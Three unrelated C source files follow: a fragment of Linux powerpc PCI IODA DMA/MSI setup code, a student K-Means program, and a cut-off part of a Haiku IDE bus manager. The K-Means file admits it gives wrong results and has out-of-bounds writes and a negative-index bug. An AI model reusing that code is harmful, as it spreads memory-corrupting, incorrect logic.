*swinvp; struct iommu_table *tbl; unsigned int i; int64_t rc; void *addr; /* 256M DMA window, 4K TCE pages, 8 bytes TCE */ #define TCE32_TABLE_SIZE ((0x10000000 / 0x1000) * 8) /* XXX FIXME: Handle 64-bit only DMA devices */ /* XXX FIXME: Provide 64-bit DMA facilities & non-4K TCE tables etc.. */ /* XXX FIXME: Allocate multi-level tables on PHB3 */ /* We shouldn't already have a 32-bit DMA associated */ if (WARN_ON(pe->tce32_seg >= 0)) return; /* Grab a 32-bit TCE table */ pe->tce32_seg = base; pe_info(pe, " Setting up 32-bit TCE table at %08x..%08x\n", (base << 28), ((base + segs) << 28) - 1); /* XXX Currently, we allocate one big contiguous table for the * TCEs. We only really need one chunk per 256M of TCE space * (ie per segment) but that's an optimization for later, it * requires some added smarts with our get/put_tce implementation */ tce_mem = alloc_pages_node(phb->hose->node, GFP_KERNEL, get_order(TCE32_TABLE_SIZE * segs)); if (!tce_mem) { pe_err(pe, " Failed to allocate a 32-bit TCE memory\n"); goto fail; } addr = page_address(tce_mem); memset(addr, 0, TCE32_TABLE_SIZE * segs); /* Configure HW */ for (i = 0; i < segs; i++) { rc = opal_pci_map_pe_dma_window(phb->opal_id, pe->pe_number, base + i, 1, __pa(addr) + TCE32_TABLE_SIZE * i, TCE32_TABLE_SIZE, 0x1000); if (rc) { pe_err(pe, " Failed to configure 32-bit TCE table," " err %ld\n", rc); goto fail; } } /* Setup linux iommu table */ tbl = &pe->tce32_table; pnv_pci_setup_iommu_table(tbl, addr, TCE32_TABLE_SIZE * segs, base << 28); /* OPAL variant of P7IOC SW invalidated TCEs */ swinvp = of_get_property(phb->hose->dn, "ibm,opal-tce-kill", NULL); if (swinvp) { /* We need a couple more fields -- an address and a data * to or. Since the bus is only printed out on table free * errors, and on the first pass the data will be a relative * bus number, print that out instead. */ tbl->it_busno = 0; pe->tce_inval_reg_phys = be64_to_cpup(swinvp); tbl->it_index = (unsigned long)ioremap(pe->tce_inval_reg_phys, 8); tbl->it_type = TCE_PCI_SWINV_CREATE | TCE_PCI_SWINV_FREE | TCE_PCI_SWINV_PAIR; } iommu_init_table(tbl, phb->hose->node); iommu_register_group(tbl, pci_domain_nr(pe->pbus), pe->pe_number); if (pe->pdev) set_iommu_table_base(&pe->pdev->dev, tbl); else pnv_ioda_setup_bus_dma(pe, pe->pbus); return; fail: /* XXX Failure: Try to fallback to 64-bit only ? */ if (pe->tce32_seg >= 0) pe->tce32_seg = -1; if (tce_mem) __free_pages(tce_mem, get_order(TCE32_TABLE_SIZE * segs)); } static void pnv_pci_ioda2_setup_dma_pe(struct pnv_phb *phb, struct pnv_ioda_pe *pe) { struct page *tce_mem = NULL; void *addr; const __be64 *swinvp; struct iommu_table *tbl; unsigned int tce_table_size, end; int64_t rc; /* We shouldn't already have a 32-bit DMA associated */ if (WARN_ON(pe->tce32_seg >= 0)) return; /* The PE will reserve all possible 32-bits space */ pe->tce32_seg = 0; end = (1 << ilog2(phb->ioda.m32_pci_base)); tce_table_size = (end / 0x1000) * 8; pe_info(pe, "Setting up 32-bit TCE table at 0..%08x\n", end); /* Allocate TCE table */ tce_mem = alloc_pages_node(phb->hose->node, GFP_KERNEL, get_order(tce_table_size)); if (!tce_mem) { pe_err(pe, "Failed to allocate a 32-bit TCE memory\n"); goto fail; } addr = page_address(tce_mem); memset(addr, 0, tce_table_size); /* * Map TCE table through TVT. The TVE index is the PE number * shifted by 1 bit for 32-bits DMA space. */ rc = opal_pci_map_pe_dma_window(phb->opal_id, pe->pe_number, pe->pe_number << 1, 1, __pa(addr), tce_table_size, 0x1000); if (rc) { pe_err(pe, "Failed to configure 32-bit TCE table," " err %ld\n", rc); goto fail; } /* Setup linux iommu table */ tbl = &pe->tce32_table; pnv_pci_setup_iommu_table(tbl, addr, tce_table_size, 0); /* OPAL variant of PHB3 invalidated TCEs */ swinvp = of_get_property(phb->hose->dn, "ibm,opal-tce-kill", NULL); if (swinvp) { /* We need a couple more fields -- an address and a data * to or. Since the bus is only printed out on table free * errors, and on the first pass the data will be a relative * bus number, print that out instead. */ tbl->it_busno = 0; pe->tce_inval_reg_phys = be64_to_cpup(swinvp); tbl->it_index = (unsigned long)ioremap(pe->tce_inval_reg_phys, 8); tbl->it_type = TCE_PCI_SWINV_CREATE | TCE_PCI_SWINV_FREE; } iommu_init_table(tbl, phb->hose->node); iommu_register_group(tbl, pci_domain_nr(pe->pbus), pe->pe_number); if (pe->pdev) set_iommu_table_base(&pe->pdev->dev, tbl); else pnv_ioda_setup_bus_dma(pe, pe->pbus); return; fail: if (pe->tce32_seg >= 0) pe->tce32_seg = -1; if (tce_mem) __free_pages(tce_mem, get_order(tce_table_size)); } static void pnv_ioda_setup_dma(struct pnv_phb *phb) { struct pci_controller *hose = phb->hose; unsigned int residual, remaining, segs, tw, base; struct pnv_ioda_pe *pe; /* If we have more PE# than segments available, hand out one * per PE until we run out and let the rest fail. If not, * then we assign at least one segment per PE, plus more based * on the amount of devices under that PE */ if (phb->ioda.dma_pe_count > phb->ioda.tce32_count) residual = 0; else residual = phb->ioda.tce32_count - phb->ioda.dma_pe_count; pr_info("PCI: Domain %04x has %ld available 32-bit DMA segments\n", hose->global_number, phb->ioda.tce32_count); pr_info("PCI: %d PE# for a total weight of %d\n", phb->ioda.dma_pe_count, phb->ioda.dma_weight); /* Walk our PE list and configure their DMA segments, hand them * out one base segment plus any residual segments based on * weight */ remaining = phb->ioda.tce32_count; tw = phb->ioda.dma_weight; base = 0; list_for_each_entry(pe, &phb->ioda.pe_dma_list, dma_link) { if (!pe->dma_weight) continue; if (!remaining) { pe_warn(pe, "No DMA32 resources available\n"); continue; } segs = 1; if (residual) { segs += ((pe->dma_weight * residual) + (tw / 2)) / tw; if (segs > remaining) segs = remaining; } /* * For IODA2 compliant PHB3, we needn't care about the weight. * The all available 32-bits DMA space will be assigned to * the specific PE. */ if (phb->type == PNV_PHB_IODA1) { pe_info(pe, "DMA weight %d, assigned %d DMA32 segments\n", pe->dma_weight, segs); pnv_pci_ioda_setup_dma_pe(phb, pe, base, segs); } else { pe_info(pe, "Assign DMA32 space\n"); segs = 0; pnv_pci_ioda2_setup_dma_pe(phb, pe); } remaining -= segs; base += segs; } } #ifdef CONFIG_PCI_MSI static void pnv_ioda2_msi_eoi(struct irq_data *d) { unsigned int hw_irq = (unsigned int)irqd_to_hwirq(d); struct irq_chip *chip = irq_data_get_irq_chip(d); struct pnv_phb *phb = container_of(chip, struct pnv_phb, ioda.irq_chip); int64_t rc; rc = opal_pci_msi_eoi(phb->opal_id, hw_irq); WARN_ON_ONCE(rc); icp_native_eoi(d); } static int pnv_pci_ioda_msi_setup(struct pnv_phb *phb, struct pci_dev *dev, unsigned int hwirq, unsigned int virq, unsigned int is_64, struct msi_msg *msg) { struct pnv_ioda_pe *pe = pnv_ioda_get_pe(dev); struct pci_dn *pdn = pci_get_pdn(dev); struct irq_data *idata; struct irq_chip *ichip; unsigned int xive_num = hwirq - phb->msi_base; __be32 data; int rc; /* No PE assigned ? bail out ... no MSI for you ! */ if (pe == NULL) return -ENXIO; /* Check if we have an MVE */ if (pe->mve_number < 0) return -ENXIO; /* Force 32-bit MSI on some broken devices */ if (pdn && pdn->force_32bit_msi) is_64 = 0; /* Assign XIVE to PE */ rc = opal_pci_set_xive_pe(phb->opal_id, pe->pe_number, xive_num); if (rc) { pr_warn("%s: OPAL error %d setting XIVE %d PE\n", pci_name(dev), rc, xive_num); return -EIO; } if (is_64) { __be64 addr64; rc = opal_get_msi_64(phb->opal_id, pe->mve_number, xive_num, 1, &addr64, &data); if (rc) { pr_warn("%s: OPAL error %d getting 64-bit MSI data\n", pci_name(dev), rc); return -EIO; } msg->address_hi = be64_to_cpu(addr64) >> 32; msg->address_lo = be64_to_cpu(addr64) & 0xfffffffful; } else { __be32 addr32; rc = opal_get_msi_32(phb->opal_id, pe->mve_number, xive_num, 1, &addr32, &data); if (rc) { pr_warn("%s: OPAL error %d getting 32-bit MSI data\n", pci_name(dev), rc); return -EIO; } msg->address_hi = 0; msg->address_lo = be32_to_cpu(addr32); } msg->data = be32_to_cpu(data); /* * Change the IRQ chip for the MSI interrupts on PHB3. * The corresponding IRQ chip should be populated for * the first time. */ if (phb->type == PNV_PHB_IODA2) { if (!phb->ioda.irq_chip_init) { idata = irq_get_irq_data(virq); ichip = irq_data_get_irq_chip(idata); phb->ioda.irq_chip_init = 1; phb->ioda.irq_chip = *ichip; phb->ioda.irq_chip.irq_eoi = pnv_ioda2_msi_eoi; } irq_set_chip(virq, &phb->ioda.irq_chip); } pr_devel("%s: %s-bit MSI on hwirq %x (xive #%d)," " address=%x_%08x data=%x PE# %d\n", pci_name(dev), is_64 ? "64" : "32", hwirq, xive_num, msg->address_hi, msg->address_lo, data, pe->pe_number); return 0; } static void pnv_pci_init_ioda_msis(struct pnv_phb *phb) { unsigned int count; const __be32 *prop = of_get_property(phb->hose->dn, "ibm,opal-msi-ranges", NULL); if (!prop) { /* BML Fallback */ prop = of_get_property(phb->hose->dn, "msi-ranges", NULL); } if (!prop) return; phb->msi_base = be32_to_cpup(prop); count = be32_to_cpup(prop + 1); if (msi_bitmap_alloc(&phb->msi_bmp, count, phb->hose->dn)) { pr_err("PCI %d: Failed to allocate MSI bitmap !\n", phb->hose->global_number); return; } phb->msi_setup = pnv_pci_ioda_msi_setup; phb->msi32_support = 1; pr_info(" Allocated bitmap for %d MSIs (base IRQ 0x%x)\n", count, phb->msi_base); } #else static void pnv_pci_init_ioda_msis(struct pnv_phb *phb) { } #endif /* CONFIG_PCI_MSI */ /* * This function is supposed to be called on basis of PE from top * to bottom style. So the the I/O or MMIO segment assigned to * parent PE could be overrided by its child PEs if necessary. */ static void pnv_ioda_setup_pe_seg(struct pci_controller *hose, struct pnv_ioda_pe *pe) { struct pnv_phb *phb = hose->private_data; struct pci_bus_region region; struct resource *res; int i, index; int rc; /* * NOTE: We only care PCI bus based PE for now. For PCI * device based PE, for example SRIOV sensitive VF should * be figured out later. */ BUG_ON(!(pe->flags & (PNV_IODA_PE_BUS | PNV_IODA_PE_BUS_ALL))); pci_bus_for_each_resource(pe->pbus, res, i) { if (!res || !res->flags || res->start > res->end) continue; if (res->flags & IORESOURCE_IO) { region.start = res->start - phb->ioda.io_pci_base; region.end = res->end - phb->ioda.io_pci_base; index = region.start / phb->ioda.io_segsize; while (index < phb->ioda.total_pe && region.start <= region.end) { phb->ioda.io_segmap[index] = pe->pe_number; rc = opal_pci_map_pe_mmio_window(phb->opal_id, pe->pe_number, OPAL_IO_WINDOW_TYPE, 0, index); if (rc != OPAL_SUCCESS) { pr_err("%s: OPAL error %d when mapping IO " "segment #%d to PE#%d\n", __func__, rc, index, pe->pe_number); break; } region.start += phb->ioda.io_segsize; index++; } } else if (res->flags & IORESOURCE_MEM) { /* WARNING: Assumes M32 is mem region 0 in PHB. We need to * harden that algorithm when we start supporting M64 */ region.start = res->start - hose->mem_offset[0] - phb->ioda.m32_pci_base; region.end = res->end - hose->mem_offset[0] - phb->ioda.m32_pci_base; index = region.start / phb->ioda.m32_segsize; while (index < phb->ioda.total_pe && region.start <= region.end) { phb->ioda.m32_segmap[index] = pe->pe_number; rc = opal_pci_map_pe_mmio_window(phb->opal_id, pe->pe_number, OPAL_M32_WINDOW_TYPE, 0, index); if (rc != OPAL_SUCCESS) { pr_err("%s: OPAL error %d when mapping M32 " "segment#%d to PE#%d", __func__, rc, index, pe->pe_number); break; } region.start += phb->ioda.m32_segsize; index++; } } } } static void pnv_pci_ioda_setup_seg(void) { struct pci_controller *tmp, *hose; struct pnv_phb *phb; struct pnv_ioda_pe *pe; list_for_each_entry_safe(hose, tmp, &hose_list, list_node) { phb = hose->private_data; list_for_each_entry(pe, &phb->ioda.pe_list, list) { pnv_ioda_setup_pe_seg(hose, pe); } } } static void pnv_pci_ioda_setup_DMA(void) { struct pci_controller *hose, *tmp; struct pnv_phb *phb; list_for_each_entry_safe(hose, tmp, &hose_list, list_node) { pnv_ioda_setup_dma(hose->private_data); /* Mark the PHB initialization done */ phb = hose->private_data; phb->initialized = 1; } } static void pnv_pci_ioda_create_dbgfs(void) { #ifdef CONFIG_DEBUG_FS struct pci_controller *hose, *tmp; struct pnv_phb *phb; char name[16]; list_for_each_entry_safe(hose, tmp, &hose_list, list_node) { phb = hose->private_data; sprintf(name, "PCI%04x", hose->global_number); phb->dbgfs = debugfs_create_dir(name, powerpc_debugfs_root); if (!phb->dbgfs) pr_warning("%s: Error on creating debugfs on PHB#%x\n", __func__, hose->global_number); } #endif /* CONFIG_DEBUG_FS */ } static void pnv_pci_ioda_fixup(void) { pnv_pci_ioda_setup_PEs(); pnv_pci_ioda_setup_seg(); pnv_pci_ioda_setup_DMA(); pnv_pci_ioda_create_dbgfs(); #ifdef CONFIG_EEH eeh_probe_mode_set(EEH_PROBE_MODE_DEV); eeh_addr_cache_build(); eeh_init(); #endif } /* * Returns the alignment for I/O or memory windows for P2P * bridges. That actually depends on how PEs are segmented. * For now, we return I/O or M32 segment size for PE sensitive * P2P bridges. Otherwise, the default values (4KiB for I/O, * 1MiB for memory) will be returned. * * The current PCI bus might be put into one PE, which was * create against the parent PCI bridge. For that case, we * needn't enlarge the alignment so that we can save some * resources. */ static resource_size_t pnv_pci_window_alignment(struct pci_bus *bus, unsigned long type) { struct pci_dev *bridge; struct pci_controller *hose = pci_bus_to_host(bus); struct pnv_phb *phb = hose->private_data; int num_pci_bridges = 0; bridge = bus->self; while (bridge) { if (pci_pcie_type(bridge) == PCI_EXP_TYPE_PCI_BRIDGE) { num_pci_bridges++; if (num_pci_bridges >= 2) return 1; } bridge = bridge->bus->self; } /* We need support prefetchable memory window later */ if (type & IORESOURCE_MEM) return phb->ioda.m32_segsize; return phb->ioda.io_segsize; } /* Prevent enabling devices for which we couldn't properly * assign a PE */ static int pnv_pci_enable_device_hook(struct pci_dev *dev) { struct pci_controller *hose = pci_bus_to_host(dev->bus); struct pnv_phb *phb = hose->private_data; struct pci_dn *pdn; /* The function is probably called while the PEs have * not be created yet. For example, resource reassignment * during PCI probe period. We just skip the check if * PEs isn't ready. */ if (!phb->initialized) return 0; pdn = pci_get_pdn(dev); if (!pdn || pdn->pe_number == IODA_INVALID_PE) return -EINVAL; return 0; } static u32 pnv_ioda_bdfn_to_pe(struct pnv_phb *phb, struct pci_bus *bus, u32 devfn) { return phb->ioda.pe_rmap[(bus->number << 8) | devfn]; } static void pnv_pci_ioda_shutdown(struct pnv_phb *phb) { opal_pci_reset(phb->opal_id, OPAL_PCI_IODA_TABLE_RESET, OPAL_ASSERT_RESET); } void __init pnv_pci_init_ioda_phb(struct device_node *np, u64 hub_id, int ioda_type) { struct pci_controller *hose; struct pnv_phb *phb; unsigned long size, m32map_off, iomap_off, pemap_off; const __be64 *prop64; const __be32 *prop32; int len; u64 phb_id; void *aux; long rc; pr_info("Initializing IODA%d OPAL PHB %s\n", ioda_type, np->full_name); prop64 = of_get_property(np, "ibm,opal-phbid", NULL); if (!prop64) { pr_err(" Missing \"ibm,opal-phbid\" property !\n"); return; } phb_id = be64_to_cpup(prop64); pr_debug(" PHB-ID : 0x%016llx\n", phb_id); phb = alloc_bootmem(sizeof(struct pnv_phb)); if (!phb) { pr_err(" Out of memory !\n"); return; } /* Allocate PCI controller */ memset(phb, 0, sizeof(struct pnv_phb)); phb->hose = hose = pcibios_alloc_controller(np); if (!phb->hose) { pr_err(" Can't allocate PCI controller for %s\n", np->full_name); free_bootmem((unsigned long)phb, sizeof(struct pnv_phb)); return; } spin_lock_init(&phb->lock); prop32 = of_get_property(np, "bus-range", &len); if (prop32 && len == 8) { hose->first_busno = be32_to_cpu(prop32[0]); hose->last_busno = be32_to_cpu(prop32[1]); } else { pr_warn(" Broken <bus-range> on %s\n", np->full_name); hose->first_busno = 0; hose->last_busno = 0xff; } hose->private_data = phb; phb->hub_id = hub_id; phb->opal_id = phb_id; phb->type = ioda_type; /* Detect specific models for error handling */ if (of_device_is_compatible(np, "ibm,p7ioc-pciex")) phb->model = PNV_PHB_MODEL_P7IOC; else if (of_device_is_compatible(np, "ibm,power8-pciex")) phb->model = PNV_PHB_MODEL_PHB3; else phb->model = PNV_PHB_MODEL_UNKNOWN; /* Parse 32-bit and IO ranges (if any) */ pci_process_bridge_OF_ranges(hose, np, !hose->global_number); /* Get registers */ phb->regs = of_iomap(np, 0); if (phb->regs == NULL) pr_err(" Failed to map registers !\n"); /* Initialize more IODA stuff */ phb->ioda.total_pe = 1; prop32 = of_get_property(np, "ibm,opal-num-pes", NULL); if (prop32) phb->ioda.total_pe = be32_to_cpup(prop32); prop32 = of_get_property(np, "ibm,opal-reserved-pe", NULL); if (prop32) phb->ioda.reserved_pe = be32_to_cpup(prop32); phb->ioda.m32_size = resource_size(&hose->mem_resources[0]); /* FW Has already off top 64k of M32 space (MSI space) */ phb->ioda.m32_size += 0x10000; phb->ioda.m32_segsize = phb->ioda.m32_size / phb->ioda.total_pe; phb->ioda.m32_pci_base = hose->mem_resources[0].start - hose->mem_offset[0]; phb->ioda.io_size = hose->pci_io_size; phb->ioda.io_segsize = phb->ioda.io_size / phb->ioda.total_pe; phb->ioda.io_pci_base = 0; /* XXX calculate this ? */ /* Allocate aux data & arrays. We don't have IO ports on PHB3 */ size = _ALIGN_UP(phb->ioda.total_pe / 8, sizeof(unsigned long)); m32map_off = size; size += phb->ioda.total_pe * sizeof(phb->ioda.m32_segmap[0]); iomap_off = size; if (phb->type == PNV_PHB_IODA1) { iomap_off = size; size += phb->ioda.total_pe * sizeof(phb->ioda.io_segmap[0]); } pemap_off = size; size += phb->ioda.total_pe * sizeof(struct pnv_ioda_pe); aux = alloc_bootmem(size); memset(aux, 0, size); phb->ioda.pe_alloc = aux; phb->ioda.m32_segmap = aux + m32map_off; if (phb->type == PNV_PHB_IODA1) phb->ioda.io_segmap = aux + iomap_off; phb->ioda.pe_array = aux + pemap_off; set_bit(phb->ioda.reserved_pe, phb->ioda.pe_alloc); INIT_LIST_HEAD(&phb->ioda.pe_dma_list); INIT_LIST_HEAD(&phb->ioda.pe_list); /* Calculate how many 32-bit TCE segments we have */ phb->ioda.tce32_count = phb->ioda.m32_pci_base >> 28; /* Clear unusable m64 */ hose->mem_resources[1].flags = 0; hose->mem_resources[1].start = 0; hose->mem_resources[1].end = 0; hose->mem_resources[2].flags = 0; hose->mem_resources[2].start = 0; hose->mem_resources[2].end = 0; #if 0 /* We should really do that ... */ rc = opal_pci_set_phb_mem_window(opal->phb_id, window_type, window_num, starting_real_address, starting_pci_address, segment_size); #endif pr_info(" %d (%d) PE's M32: 0x%x [segment=0x%x]" " IO: 0x%x [segment=0x%x]\n", phb->ioda.total_pe, phb->ioda.reserved_pe, phb->ioda.m32_size, phb->ioda.m32_segsize, phb->ioda.io_size, phb->ioda.io_segsize); phb->hose->ops = &pnv_pci_ops; #ifdef CONFIG_EEH phb->eeh_ops = &ioda_eeh_ops; #endif /* Setup RID -> PE mapping function */ phb->bdfn_to_pe = pnv_ioda_bdfn_to_pe; /* Setup TCEs */ phb->dma_dev_setup = pnv_pci_ioda_dma_dev_setup; /* Setup shutdown function for kexec */ phb->shutdown = pnv_pci_ioda_shutdown; /* Setup MSI support */ pnv_pci_init_ioda_msis(phb); /* * We pass the PCI probe flag PCI_REASSIGN_ALL_RSRC here * to let the PCI core do resource assignment. It's supposed * that the PCI core will do correct I/O and MMIO alignment * for the P2P bridge bars so that each PCI bus (excluding * the child P2P bridges) can form individual PE. */ ppc_md.pcibios_fixup = pnv_pci_ioda_fixup; ppc_md.pcibios_enable_device_hook = pnv_pci_enable_device_hook; ppc_md.pcibios_window_alignment = pnv_pci_window_alignment; pci_add_flags(PCI_REASSIGN_ALL_RSRC); /* Reset IODA tables to a clean state */ rc = opal_pci_reset(phb_id, OPAL_PCI_IODA_TABLE_RESET, OPAL_ASSERT_RESET); if (rc) pr_warning(" OPAL Error %ld performing IODA table reset !\n", rc); } void __init pnv_pci_init_ioda2_phb(struct device_node *np) { pnv_pci_init_ioda_phb(np, 0, PNV_PHB_IODA2); } void __init pnv_pci_init_ioda_hub(struct device_node *np) { struct device_node *phbn; const __be64 *prop64; u64 hub_id; pr_info("Probing IODA IO-Hub %s\n", np->full_name); prop64 = of_get_property(np, "ibm,opal-hubid", NULL); if (!prop64) { pr_err(" Missing \"ibm,opal-hubid\" property !\n"); return; } hub_id = be64_to_cpup(prop64); pr_devel(" HUB-ID : 0x%016llx\n", hub_id); /* Count child PHBs */ for_each_child_of_node(np, phbn) { /* Look for IODA1 PHBs */ if (of_device_is_compatible(phbn, "ibm,ioda-phb")) pnv_pci_init_ioda_phb(phbn, hub_id, PNV_PHB_IODA1); } }
21377.c
/* Description: This program executes the K-Means algorithm for random vectors of arbitrary number and dimensions Author: Georgios Evangelou (1046900) Year: 5 Parallel Programming in Machine Learning Problems Electrical and Computer Engineering Department, University of Patras System Specifications: CPU: AMD Ryzen 2600 (6 cores/12 threads, @3.8 GHz, 6786.23 bogomips) GPU: Nvidia GTX 1050 (dual-fan, overclocked) RAM: 8GB (dual-channel, @2666 MHz) Version Notes: Compiles with: gcc kmeans02.c -o kmeans02 -lm Executes the algorithm for 10000 vectors of 100 dimensions and 10 classes Does not produce correct results Profiler Output: Flat profile: Each sample counts as 0.01 seconds. % cumulative self self total time seconds seconds calls ms/call ms/call name 91.02 0.10 0.10 2 50.06 50.06 estimateClasses 9.10 0.11 0.01 2 5.01 5.01 estimateCenters 0.00 0.11 0.00 10 0.00 0.00 notIn 0.00 0.11 0.00 5 0.00 0.00 printVec 0.00 0.11 0.00 1 0.00 0.00 SetVec 0.00 0.11 0.00 1 0.00 0.00 initCenters */ // *************************************************** #include <stdio.h> #include <stdlib.h> #include "math.h" // *************************************************** #define N 10000 #define Nv 100 #define Nc 10 #define THRESHOLD 0.000001 #define REFACTORING 1 // *************************************************** float Vectors[N][Nv]; // N vectors of Nv dimensions float Centers[Nc][Nv]; // Nc vectors of Nv dimensions int Deviation_of_Vec_k[N]; //Distance of Vec k from its class int Class_of_Vec[N]; // Class of each Vector // *************************************************** // Check if a number is in a vector // *************************************************** int notIn(int Num, int Vec[Nc], int max_index){ for (int j=0; j<max_index; j++) if (Vec[j]==Num) return 0; return 1; } // *************************************************** // Choose random centers from available vectors // *************************************************** void initCenters( void ) { int i = 0, k = 0; int Current_centers_indices[Nc] = {-1}; while(i<Nc) { k = N * (1.0 * rand())/RAND_MAX ; // Pick a random integer in range [0, N-1] if ( notIn(k, Current_centers_indices, i) ) { Current_centers_indices[i] = k; for (int j=0; j<Nv; j++) Centers[i][j] = Vectors[k][j]; i++; } } } // *************************************************** // Returns the total squared minimum distance between all vectors and their closest center // *************************************************** float estimateClasses(void) { float min_dist, dist, tot_min_distances = 0; int class = -1; for (int w=0; w<N; w++) { min_dist = 0; class = -1; for (int j=0; j<Nv; j++) min_dist += REFACTORING * (Vectors[w][j]-Centers[0][j]) * (Vectors[w][j]-Centers[0][j]); // Distance between Vec and Center 0 for (int i=1; i<Nc; i++) { dist = 0; for (int j=0; j<Nv; j++) { dist += REFACTORING * (Vectors[w][j]-Centers[i][j])*(Vectors[w][j]-Centers[i][j]); // Distance between Vec and Center i if (dist>min_dist) break; } //printf("\ndist is: %f", dist); if (dist < min_dist) { class = i; min_dist = dist; } } Class_of_Vec[w] = class; tot_min_distances += sqrt(min_dist); } //return pow(tot_min_distances, 0.5); return tot_min_distances; } // *************************************************** // Find the new centers // *************************************************** void estimateCenters( void ) { int Centers_matchings[Nc] = {0}; // Zero all center vectors for (int i = 0; i<Nc; i++) for (int j = 0; j<Nv; j++) { Centers[i][j] = 0; //Centers_matchings[i] = 0; } // Add each vector's values to its corresponding center for (int w = 0; w < N; w ++){ Centers_matchings[Class_of_Vec[w]] += 1; for (int j = 0; j<Nv; j++) { Centers[Class_of_Vec[w]][j] += Vectors[w][j]; } } for (int i = 0; i<Nc; i++) { for (int j = 0; j<N; j++) { Centers[i][j] /= Centers_matchings[i]; } } } // *************************************************** // Initializing the vectors with random values // *************************************************** void SetVec( void ) { int i, j; for( i = 0 ; i< N ; i++ ) for( j = 0 ; j < Nv ; j++ ) Vectors[i][j] = REFACTORING * (1.0*rand())/RAND_MAX ; } // *************************************************** // Print all vectors // *************************************************** void printVec( float *Vecs, int number ) { int i, j ; for( i = 0 ; i< number ; i++ ) { printf("--------------------\n"); printf(" Vector #%d is:\n", i); for( j = 0 ; j < Nv ; j++ ) printf( " %f\n", *Vecs++ ); } } // *************************************************** // The main program // *************************************************** int main( int argc, const char* argv[] ) { int repetitions = 0; float totDist, prevDist, diff; printf("--------------------------------------------------------------------------------------------------\n"); printf("This program executes the K-Means algorithm for random vectors of arbitrary number and dimensions.\n"); printf("Current configuration has %d Vectors, %d Classes and %d Elements per vector.\n", N, Nc, Nv); printf("--------------------------------------------------------------------------------------------------\n"); printf("Now initializing vectors...\n"); SetVec() ; printf("The vectors were initialized with these values:\n"); printVec(Vectors[0], Nv) ; printf("Now initializing centers...\n"); initCenters() ; printf("\nCurrent centers are:\n"); printVec(Centers[0], Nc) ; totDist = 1.0e30 ; printf("Now running the main algorithm...\n\n"); do { repetitions++; prevDist = totDist ; totDist = estimateClasses() ; estimateCenters() ; diff = (prevDist-totDist)/totDist ; printf("\nCurrent centers are:\n"); printVec(Centers[0], Nc) ; printf(">> REPETITION: %3d || ", repetitions); printf("DISTANCE IMPROVEMENT: %.8f \n", diff); } while( diff > THRESHOLD ) ; printf("\nProcess finished!\n"); scanf("%f", &prevDist); printf("\nFinal centers are:\n"); printVec(Centers[0], Nc) ; printf("\nTotal repetitions were: %d",repetitions); printf("\n\nFinal distance is %f\n", totDist); return 0 ; } //**********************************************************************************************************
556307.c
/* ** Copyright 2002/03, Thomas Kurschel. All rights reserved. ** Distributed under the terms of the MIT License. */ /* Part of Open IDE bus manager ATA command protocol */ #include "ide_internal.h" #include "ide_sim.h" #include "ide_cmds.h" /** verify that device is ready for further PIO transmission */ static bool check_rw_status(ide_device_info *device, bool drqStatus) { ide_bus_info *bus = device->bus; int status; status = bus->controller->get_altstatus(bus->channel_cookie); if ((status & ide_status_bsy) != 0) { device->subsys_status = SCSI_SEQUENCE_FAIL; return false; } if (drqStatus != ((status & ide_status_drq) != 0)) { device->subsys_status = SCSI_SEQUENCE_FAIL; return false; } return true; } /** DPC called at * - begin of each PIO read/write block * - end of PUI write transmission */ void ata_dpc_PIO(ide_qrequest *qrequest) { ide_device_info *device = qrequest->device; uint32 timeout = qrequest->request->timeout > 0 ? qrequest->request->timeout : IDE_STD_TIMEOUT; SHOW_FLOW0(3, ""); if (check_rw_error(device, qrequest) || !check_rw_status(device, qrequest->is_write ? device->left_blocks > 0 : true)) { // failure reported by device SHOW_FLOW0( 3, "command finished unsuccessfully" ); finish_checksense(qrequest); return; } if (qrequest->is_write) { if (device->left_blocks == 0) { // this was the end-of-transmission IRQ SHOW_FLOW0(3, "write access finished"); if (!wait_for_drqdown(device)) { SHOW_ERROR0(3, "device wants to transmit data though command is finished"); goto finish; } goto finish; } // wait until device requests data SHOW_FLOW0(3, "Waiting for device ready to transmit"); if (!wait_for_drq(device)) { SHOW_FLOW0(3, "device not ready for data transmission - abort"); goto finish; } // start async waiting for next block/end of command // we should start that when block is transmitted, but with bad // luck the IRQ fires exactly between transmission and start of waiting, // so we better start waiting too early; as we are in service thread, // a DPC initiated by IRQ cannot overtake us, so there is no need to block // IRQs during sent start_waiting_nolock(device->bus, timeout, ide_state_async_waiting); // having a too short data buffer shouldn't happen here // anyway - we are prepared SHOW_FLOW0(3, "Writing one block"); if (write_PIO_block(qrequest, 512) == B_ERROR) goto finish_cancel_timeout; --device->left_blocks; } else { if (device->left_blocks > 1) { // start async waiting for next command (see above) start_waiting_nolock(device->bus, timeout, ide_state_async_waiting); } // see write SHOW_FLOW0( 3, "Reading one block" ); if (read_PIO_block(qrequest, 512) == B_ERROR) goto finish_cancel_timeout; --device->left_blocks; if (device->left_blocks == 0) { // at end of transmission, wait for data request going low SHOW_FLOW0( 3, "Waiting for device to finish transmission" ); if (!wait_for_drqdown(device)) SHOW_FLOW0( 3, "Device continues data transmission - abort command" ); // we don't cancel timeout as no timeout is started during last block goto finish; } } return; finish_cancel_timeout: cancel_irq_timeout(device->bus); finish: finish_checksense(qrequest); } /** DPC called when IRQ was fired at end of DMA transmission */ void ata_dpc_DMA(ide_qrequest *qrequest) { ide_device_info *device = qrequest->device; bool dma_success, dev_err; dma_success = finish_dma(device); dev_err = check_rw_error(device, qrequest); if (dma_success && !dev_err) { // reset error count if DMA worked device->DMA_failures = 0; device->CQ_failures = 0; qrequest->request->data_resid = 0; finish_checksense(qrequest); } else { SHOW_ERROR0( 2, "Error in DMA transmission" ); set_sense(device, SCSIS_KEY_HARDWARE_ERROR, SCSIS_ASC_LUN_COM_FAILURE); if (++device->DMA_failures >= MAX_DMA_FAILURES) { SHOW_ERROR0( 2, "Disabled DMA because of too many errors" ); device->DMA_enabled = false; } // reset queue in case queuing is active finish_reset_queue(qrequest); } } // list of LBA48 opcodes static uint8 cmd_48[2][2] = { { IDE_CMD_READ_SECTORS_EXT, IDE_CMD_WRITE_SECTORS_EXT }, { IDE_CMD_READ_DMA_EXT, IDE_CMD_WRITE_DMA_EXT } }; // list of normal LBA opcodes static uint8 cmd_28[2][2] = { { IDE_CMD_READ_SECTORS, IDE_CMD_WRITE_SECTORS }, { IDE_CMD_READ_DMA, IDE_CMD_WRITE_DMA } }; /** create IDE read/write command */ static bool create_rw_taskfile(ide_device_info *device, ide_qrequest *qrequest, uint64 pos, size_t length, bool write) { SHOW_FLOW0( 3, "" ); // XXX disable any writes /* if( write ) goto err;*/ if (device->use_LBA) { if (device->use_48bits && (pos + length 